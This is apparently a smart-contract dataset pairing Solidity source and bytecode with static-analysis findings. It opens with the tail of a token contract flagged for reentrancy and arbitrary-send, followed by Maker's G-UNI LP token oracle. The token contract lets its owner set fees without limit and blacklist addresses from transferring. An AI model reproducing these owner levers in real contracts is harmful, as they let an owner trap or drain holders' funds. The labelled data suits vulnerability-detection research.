_isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { timeJeets = hoursTime * 1 hours; } }
0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610640578063e0f9f6a014610686578063ea1644d5146106a6578063f2fde38b146106c6578063fe72c3c1146106e657600080fd5b806395d89b41146105935780639ec350ed146105c05780639f131571146105e0578063a9059cbb14610600578063c55284901461062057600080fd5b80637c519ffb116100f25780637c519ffb146105145780637d1db4a514610529578063881dce601461053f5780638da5cb5b1461055f5780638f9a55c01461057d57600080fd5b806370a08231146104a9578063715018a6146104c957806374010ece146104de578063790ca413146104fe57600080fd5b8063313ce567116101a65780634bf2c7c9116101755780634bf2c7c91461041e5780635d098b381461043e5780636b9cf5341461045e5780636d8aa8f8146104745780636fc3eaec1461049457600080fd5b8063313ce567146103a257806333251a0b146103be57806338eea22d146103de57806349bd5a5e146103fe57600080fd5b806318160ddd116101ed57806318160ddd1461030e57806323b872dd1461033457806327c8f8351461035457806328bb665a1461036a5780632fd689e31461038c57600080fd5b806306fdde031461022a578063095ea7b31461026d5780630f3a325f1461029d5780631694505e146102d657600080fd5b3661022557005b600080fd5b34801561023657600080fd5b506040805180820190915260088152675a65726f20496e7560c01b60208201525b6040516102649190611f29565b60405180910390f35b34801561027957600080fd5b5061028d610288366004611dd4565b6106fc565b6040519015158152602001610264565b3480156102a957600080fd5b5061028d6102b8366004611d20565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102e257600080fd5b506019546102f6906001600160a01b031681565b6040516001600160a01b039091168152602001610264565b34801561031a57600080fd5b50683635c9adc5dea000005b604051908152602001610264565b34801561034057600080fd5b5061028d61034f366004611d93565b610713565b34801561036057600080fd5b506102f661dead81565b34801561037657600080fd5b5061038a610385366004611e00565b61077c565b005b34801561039857600080fd5b50610326601d5481565b3480156103ae57600080fd5b5060405160098152602001610264565b3480156103ca57600080fd5b5061038a6103d9366004611d20565b61081b565b3480156103ea57600080fd5b5061038a6103f9366004611f07565b61088a565b34801561040a57600080fd5b50601a546102f6906001600160a01b031681565b34801561042a57600080fd5b5061038a610439366004611eee565b6108bf565b34801561044a57600080fd5b5061038a610459366004611d20565b6108ee565b34801561046a57600080fd5b50610326601e5481565b34801561048057600080fd5b5061038a61048f366004611ecc565b610948565b3480156104a057600080fd5b5061038a610990565b3480156104b557600080fd5b506103266104c4366004611d20565b6109ba565b3480156104d557600080fd5b5061038a6109dc565b3480156104ea57600080fd5b5061038a6104f9366004611eee565b610a50565b34801561050a57600080fd5b50610326600a5481565b34801561052057600080fd5b5061038a610a7f565b34801561053557600080fd5b50610326601b5481565b34801561054b57600080fd5b5061038a61055a366004611eee565b610ad9565b34801561056b57600080fd5b506000546001600160a01b03166102f6565b34801561058957600080fd5b50610326601c5481565b34801561059f57600080fd5b506040805180820190915260048152635a45524f60e01b6020820152610257565b3480156105cc57600080fd5b5061038a6105db366004611f07565b610b55565b3480156105ec57600080fd5b5061038a6105fb366004611ecc565b610b8a565b34801561060c57600080fd5b5061028d61061b366004611dd4565b610bd2565b34801561062c57600080fd5b5061038a61063b366004611f07565b610bdf565b34801561064c57600080fd5b5061032661065b366004611d5a565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561069257600080fd5b5061038a6106a1366004611eee565b610c14565b3480156106b257600080fd5b5061038a6106c1366004611eee565b610c50565b3480156106d257600080fd5b5061038a6106e1366004611d20565b610c7f565b3480156106f257600080fd5b5061032660185481565b6000610709338484610d69565b5060015b92915050565b6000610720848484610e8d565b610772843361076d8560405180606001604052806028815260200161212e602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906115b3565b610d69565b5060019392505050565b6000546001600160a01b031633146107af5760405162461bcd60e51b81526004016107a690611f7e565b60405180910390fd5b60005b8151811015610817576001600960008484815181106107d3576107d36120ec565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080f816120bb565b9150506107b2565b5050565b6000546001600160a01b031633146108455760405162461bcd60e51b81526004016107a690611f7e565b6001600160a01b03811660009081526009602052604090205460ff1615610887576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016107a690611f7e565b600d91909155600f55565b6000546001600160a01b031633146108e95760405162461bcd60e51b81526004016107a690611f7e565b601355565b6017546001600160a01b0316336001600160a01b03161461090e57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109725760405162461bcd60e51b81526004016107a690611f7e565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109b057600080fd5b47610887816115ed565b6001600160a01b03811660009081526002602052604081205461070d90611627565b6000546001600160a01b03163314610a065760405162461bcd60e51b81526004016107a690611f7e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b81526004016107a690611f7e565b601b55565b6000546001600160a01b03163314610aa95760405162461bcd60e51b81526004016107a690611f7e565b601a54600160a01b900460ff1615610ac057600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610af957600080fd5b610b02306109ba565b8111158015610b115750600081115b610b4c5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107a6565b610887816116ab565b6000546001600160a01b03163314610b7f5760405162461bcd60e51b81526004016107a690611f7e565b600b91909155600c55565b6000546001600160a01b03163314610bb45760405162461bcd60e51b81526004016107a690611f7e565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b6000610709338484610e8d565b6000546001600160a01b03163314610c095760405162461bcd60e51b81526004016107a690611f7e565b600e91909155601055565b6000546001600160a01b03163314610c3e5760405162461bcd60e51b81526004016107a690611f7e565b610c4a81610e10612085565b60185550565b6000546001600160a01b03163314610c7a5760405162461bcd60e51b81526004016107a690611f7e565b601c55565b6000546001600160a01b03163314610ca95760405162461bcd60e51b81526004016107a690611f7e565b6001600160a01b038116610d0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107a6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dcb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a6565b6001600160a01b038216610e2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a6565b6001600160a01b038216610f535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a6565b60008111610fb55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a6565b6001600160a01b03821660009081526009602052604090205460ff1615610fee5760405162461bcd60e51b81526004016107a690611fb3565b6001600160a01b03831660009081526009602052604090205460ff16156110275760405162461bcd60e51b81526004016107a690611fb3565b3360009081526009602052604090205460ff16156110575760405162461bcd60e51b81526004016107a690611fb3565b6000546001600160a01b0384811691161480159061108357506000546001600160a01b03838116911614155b156113fb57601a54600160a01b900460ff166110e15760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107a6565b601a546001600160a01b03838116911614801561110c57506019546001600160a01b03848116911614155b156111be576001600160a01b038216301480159061113357506001600160a01b0383163014155b801561114d57506017546001600160a01b03838116911614155b801561116757506017546001600160a01b03848116911614155b156111be57601b548111156111be5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107a6565b601a546001600160a01b038381169116148015906111ea57506017546001600160a01b03838116911614155b80156111ff57506001600160a01b0382163014155b801561121657506001600160a01b03821661dead14155b156112f557601c5481611228846109ba565b611232919061204b565b1061128b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107a6565b601a54600160b81b900460ff16156112f557600a546112ab90607861204b565b42116112f557601e548111156112f55760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107a6565b6000611300306109ba565b601d54909150811180801561131f5750601a54600160a81b900460ff16155b80156113395750601a546001600160a01b03868116911614155b801561134e5750601a54600160b01b900460ff165b801561137357506001600160a01b03851660009081526006602052604090205460ff16155b801561139857506001600160a01b03841660009081526006602052604090205460ff16155b156113f857601354600090156113d3576113c860646113c26013548661183490919063ffffffff16565b906118b3565b90506113d3816118f5565b6113e56113e082856120a4565b6116ab565b4780156113f5576113f5476115ed565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061143d57506001600160a01b03831660009081526006602052604090205460ff165b8061146f5750601a546001600160a01b0385811691161480159061146f5750601a546001600160a01b03848116911614155b1561147c575060006115a1565b601a546001600160a01b0385811691161480156114a757506019546001600160a01b03848116911614155b15611502576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611502576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561152d57506019546001600160a01b03858116911614155b156115a1576001600160a01b0384166000908152600460205260409020541580159061157e57506018546001600160a01b038516600090815260046020526040902054429161157b9161204b565b10155b1561159457600b54601155600c546012556115a1565b600f546011556010546012555b6115ad84848484611902565b50505050565b600081848411156115d75760405162461bcd60e51b81526004016107a69190611f29565b5060006115e484866120a4565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610817573d6000803e3d6000fd5b600060075482111561168e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107a6565b6000611698611936565b90506116a483826118b3565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116f3576116f36120ec565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561174757600080fd5b505afa15801561175b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061177f9190611d3d565b81600181518110611792576117926120ec565b6001600160a01b0392831660209182029290920101526019546117b89130911684610d69565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906117f1908590600090869030904290600401611fda565b600060405180830381600087803b15801561180b57600080fd5b505af115801561181f573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b6000826118435750600061070d565b600061184f8385612085565b90508261185c8583612063565b146116a45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107a6565b60006116a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611959565b6108873061dead83610e8d565b8061190f5761190f611987565b61191a8484846119cc565b806115ad576115ad601454601155601554601255601654601355565b6000806000611943611ac3565b909250905061195282826118b3565b9250505090565b6000818361197a5760405162461bcd60e51b81526004016107a69190611f29565b5060006115e48486612063565b6011541580156119975750601254155b80156119a35750601354155b156119aa57565b6011805460145560128054601555601380546016556000928390559082905555565b6000806000806000806119de87611b05565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a109087611b62565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a3f9086611ba4565b6001600160a01b038916600090815260026020526040902055611a6181611c03565b611a6b8483611c4d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ab091815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611adf82826118b3565b821015611afc57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611b228a601154601254611c71565b9250925092506000611b32611936565b90506000806000611b458e878787611cc0565b919e509c509a509598509396509194505050505091939550919395565b60006116a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115b3565b600080611bb1838561204b565b9050838110156116a45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107a6565b6000611c0d611936565b90506000611c1b8383611834565b30600090815260026020526040902054909150611c389082611ba4565b30600090815260026020526040902055505050565b600754611c5a9083611b62565b600755600854611c6a9082611ba4565b6008555050565b6000808080611c8560646113c28989611834565b90506000611c9860646113c28a89611834565b90506000611cb082611caa8b86611b62565b90611b62565b9992985090965090945050505050565b6000808080611ccf8886611834565b90506000611cdd8887611834565b90506000611ceb8888611834565b90506000611cfd82611caa8686611b62565b939b939a50919850919650505050505050565b8035611d1b81612118565b919050565b600060208284031215611d3257600080fd5b81356116a481612118565b600060208284031215611d4f57600080fd5b81516116a481612118565b60008060408385031215611d6d57600080fd5b8235611d7881612118565b91506020830135611d8881612118565b809150509250929050565b600080600060608486031215611da857600080fd5b8335611db381612118565b92506020840135611dc381612118565b929592945050506040919091013590565b60008060408385031215611de757600080fd5b8235611df281612118565b946020939093013593505050565b60006020808385031215611e1357600080fd5b823567ffffffffffffffff80821115611e2b57600080fd5b818501915085601f830112611e3f57600080fd5b813581811115611e5157611e51612102565b8060051b604051601f19603f83011681018181108582111715611e7657611e76612102565b604052828152858101935084860182860187018a1015611e9557600080fd5b600095505b83861015611ebf57611eab81611d10565b855260019590950194938601938601611e9a565b5098975050505050505050565b600060208284031215611ede57600080fd5b813580151581146116a457600080fd5b600060208284031215611f0057600080fd5b5035919050565b60008060408385031215611f1a57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611f5657858101830151858201604001528201611f3a565b81811115611f68576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561202a5784516001600160a01b031683529383019391830191600101612005565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561205e5761205e6120d6565b500190565b60008261208057634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561209f5761209f6120d6565b500290565b6000828210156120b6576120b66120d6565b500390565b60006000198214156120cf576120cf6120d6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fe52411fd164a9afec11969087b4fde34658c4ecf02e5053b8fc8a6e723fc2aa64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,465
0xdcbc54439ac0af5fea1d8394fb177e4bfda426f0
// SPDX-License-Identifier: AGPL-3.0-or-later /// GUniLPOracle.sol // Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /////////////////////////////////////////////////////// // // // Methodology for Calculating LP Token Price // // // /////////////////////////////////////////////////////// // We derive the sqrtPriceX96 via Maker's own oracles to prevent price manipulation in the pool: // // p0 = price of token0 in USD // p1 = price of token1 in USD // UNITS_0 = decimals of token0 // UNITS_1 = decimals of token1 // // token1/token0 = (p0 / 10^UNITS_0) / (p1 / 10^UNITS_1) [Conversion from Maker's price ratio into Uniswap's format] // = (p0 * 10^UNITS_1) / (p1 * 10^UNITS_0) // // sqrtPriceX96 = sqrt(token1/token0) * 2^96 [From Uniswap's definition] // = sqrt((p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)) * 2^96 // = sqrt((p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)) * 2^48 * 2^48 // = sqrt((p0 * 10^UNITS_1 * 2^96) / (p1 * 10^UNITS_0)) * 2^48 // // Once we have the sqrtPriceX96 we can use that to compute the fair reserves for each token. This part may be slightly subjective // depending on the implementation, but we expect most tokens to provide something like getUnderlyingBalancesAtPrice(uint160 sqrtPriceX96) // which will forward our oracle-calculated `sqrtPriceX96` to the Uniswap-provided LiquidityAmounts.getAmountsForLiquidity(...) // This function will return the fair reserves for each token. Vendor-specific logic is then used to tack any uninvested fees on top of those amounts. // // Once we have the fair reserves and the prices we can compute the token price by: // // Token Price = TVL / Token Supply // = (r0 * p0 + r1 * p1) / totalSupply pragma solidity =0.6.12; interface ERC20Like { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); } interface GUNILike { function token0() external view returns (address); function token1() external view returns (address); function getUnderlyingBalancesAtPrice(uint160) external view returns (uint256,uint256); } interface OracleLike { function read() external view returns (uint256); } // Factory for creating G-UNI LP Token Oracle instances contract GUniLPOracleFactory { mapping(address => bool) public isOracle; event NewGUniLPOracle(address owner, address orcl, bytes32 wat, address indexed tok0, address indexed tok1, address orb0, address orb1); // Create new G-UNI LP Token Oracle instance function build( address _owner, address _src, bytes32 _wat, address _orb0, address _orb1 ) public returns (address orcl) { address tok0 = GUNILike(_src).token0(); address tok1 = GUNILike(_src).token1(); orcl = address(new GUniLPOracle(_src, _wat, _orb0, _orb1)); GUniLPOracle(orcl).rely(_owner); GUniLPOracle(orcl).deny(address(this)); isOracle[orcl] = true; emit NewGUniLPOracle(_owner, orcl, _wat, tok0, tok1, _orb0, _orb1); } } contract GUniLPOracle { // --- Auth --- mapping (address => uint256) public wards; // Addresses with admin authority function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin modifier auth { require(wards[msg.sender] == 1, "GUniLPOracle/not-authorized"); _; } address public immutable src; // Price source // hop and zph are packed into single slot to reduce SLOADs; // this outweighs the cost from added bitmasking operations. uint8 public stopped; // Stop/start ability to update uint16 public hop = 1 hours; // Minimum time in between price updates uint232 public zph; // Time of last price update plus hop bytes32 public immutable wat; // Label of token whose price is being tracked // --- Whitelisting --- mapping (address => uint256) public bud; modifier toll { require(bud[msg.sender] == 1, "GUniLPOracle/contract-not-whitelisted"); _; } struct Feed { uint128 val; // Price uint128 has; // Is price valid } Feed internal cur; // Current price (mem slot 0x3) Feed internal nxt; // Queued price (mem slot 0x4) // --- Data --- uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals) uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals) uint256 private immutable TO_18_DEC_0; // Conversion factor to 18 decimals uint256 private immutable TO_18_DEC_1; // Conversion factor to 18 decimals address public orb0; // Oracle for token0, ideally a Medianizer address public orb1; // Oracle for token1, ideally a Medianizer // --- Math --- uint256 constant WAD = 10 ** 18; function _add(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x + _y) >= _x, "GUniLPOracle/add-overflow"); } function _sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x - _y) <= _x, "GUniLPOracle/sub-underflow"); } function _mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require(_y == 0 || (z = _x * _y) / _y == _x, "GUniLPOracle/mul-overflow"); } function toUint160(uint256 x) internal pure returns (uint160 z) { require((z = uint160(x)) == x, "GUniLPOracle/uint160-overflow"); } // FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687 function sqrt(uint256 _x) private pure returns (uint128) { if (_x == 0) return 0; else { uint256 xx = _x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; // Seven iterations should be enough uint256 r1 = _x / r; return uint128 (r < r1 ? r : r1); } } // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event Step(uint256 hop); event Stop(); event Start(); event Value(uint128 curVal, uint128 nxtVal); event Link(uint256 id, address orb); event Kiss(address a); event Diss(address a); // --- Init --- constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public { require(_src != address(0), "GUniLPOracle/invalid-src-address"); require(_orb0 != address(0) && _orb1 != address(0), "GUniLPOracle/invalid-oracle-address"); wards[msg.sender] = 1; emit Rely(msg.sender); src = _src; wat = _wat; uint256 dec0 = uint256(ERC20Like(GUNILike(_src).token0()).decimals()); require(dec0 <= 18, "GUniLPOracle/token0-dec-gt-18"); UNIT_0 = 10 ** dec0; TO_18_DEC_0 = 10 ** (18 - dec0); uint256 dec1 = uint256(ERC20Like(GUNILike(_src).token1()).decimals()); require(dec1 <= 18, "GUniLPOracle/token1-dec-gt-18"); UNIT_1 = 10 ** dec1; TO_18_DEC_1 = 10 ** (18 - dec1); orb0 = _orb0; orb1 = _orb1; } function stop() external auth { stopped = 1; delete cur; delete nxt; zph = 0; emit Stop(); } function start() external auth { stopped = 0; emit Start(); } function step(uint256 _hop) external auth { require(_hop <= uint16(-1), "GUniLPOracle/invalid-hop"); hop = uint16(_hop); emit Step(_hop); } function link(uint256 _id, address _orb) external auth { require(_orb != address(0), "GUniLPOracle/no-contract-0"); if(_id == 0) { orb0 = _orb; } else if (_id == 1) { orb1 = _orb; } else { revert("GUniLPOracle/invalid-id"); } emit Link(_id, _orb); } // For consistency with other oracles. function zzz() external view returns (uint256) { if (zph == 0) return 0; // backwards compatibility return _sub(zph, hop); } function pass() external view returns (bool) { return block.timestamp >= zph; } function seek() internal returns (uint128 quote) { // All Oracle prices are priced with 18 decimals against USD uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD) require(p0 != 0, "GUniLPOracle/invalid-oracle-0-price"); uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD) require(p1 != 0, "GUniLPOracle/invalid-oracle-1-price"); uint160 sqrtPriceX96 = toUint160(sqrt(_mul(_mul(p0, UNIT_1), (1 << 96)) / (_mul(p1, UNIT_0))) << 48); // Get balances of the tokens in the pool (uint256 r0, uint256 r1) = GUNILike(src).getUnderlyingBalancesAtPrice(sqrtPriceX96); require(r0 > 0 || r1 > 0, "GUniLPOracle/invalid-balances"); uint256 totalSupply = ERC20Like(src).totalSupply(); require(totalSupply >= 1e9, "GUniLPOracle/total-supply-too-small"); // Protect against precision errors with dust-levels of collateral // Add the total value of each token together and divide by the totalSupply to get the unit price uint256 preq = _add( _mul(p0, _mul(r0, TO_18_DEC_0)), _mul(p1, _mul(r1, TO_18_DEC_1)) ) / totalSupply; require(preq < 2 ** 128, "GUniLPOracle/quote-overflow"); quote = uint128(preq); // WAD } function poke() external { // Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy. uint256 hop_; { // Block-scoping these variables saves some gas. uint256 stopped_; uint256 zph_; assembly { let slot1 := sload(1) stopped_ := and(slot1, 0xff ) hop_ := and(shr(8, slot1), 0xffff) zph_ := shr(24, slot1) } // When stopped, values are set to zero and should remain such; thus, disallow updating in that case. require(stopped_ == 0, "GUniLPOracle/is-stopped"); // Equivalent to requiring that pass() returns true. // The logic is repeated instead of calling pass() to save gas // (both by eliminating an internal call here, and allowing pass to be external). require(block.timestamp >= zph_, "GUniLPOracle/not-passed"); } uint128 val = seek(); require(val != 0, "GUniLPOracle/invalid-price"); Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later. cur = cur_; nxt = Feed(val, 1); // The below is equivalent to: // // zph = block.timestamp + hop // // but ensures no extra SLOADs are performed. // // Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop) // will not overflow (even a 232 bit value) for a very long time. // // Also, we know stopped was zero, so there is no need to account for it explicitly here. assembly { sstore( 1, add( // zph value starts 24 bits in shl(24, add(timestamp(), hop_)), // hop value starts 8 bits in shl(8, hop_) ) ) } // Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs. emit Value(cur_.val, val); // Safe to terminate immediately since no postfix modifiers are applied. assembly { stop() } } function peek() external view toll returns (bytes32,bool) { return (bytes32(uint256(cur.val)), cur.has == 1); } function peep() external view toll returns (bytes32,bool) { return (bytes32(uint256(nxt.val)), nxt.has == 1); } function read() external view toll returns (bytes32) { require(cur.has == 1, "GUniLPOracle/no-current-value"); return (bytes32(uint256(cur.val))); } function kiss(address _a) external auth { require(_a != address(0), "GUniLPOracle/no-contract-0"); bud[_a] = 1; emit Kiss(_a); } function kiss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { require(_a[i] != address(0), "GUniLPOracle/no-contract-0"); bud[_a[i]] = 1; emit Kiss(_a[i]); } } function diss(address _a) external auth { bud[_a] = 0; emit Diss(_a); } function diss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { bud[_a[i]] = 0; emit Diss(_a[i]); } } }
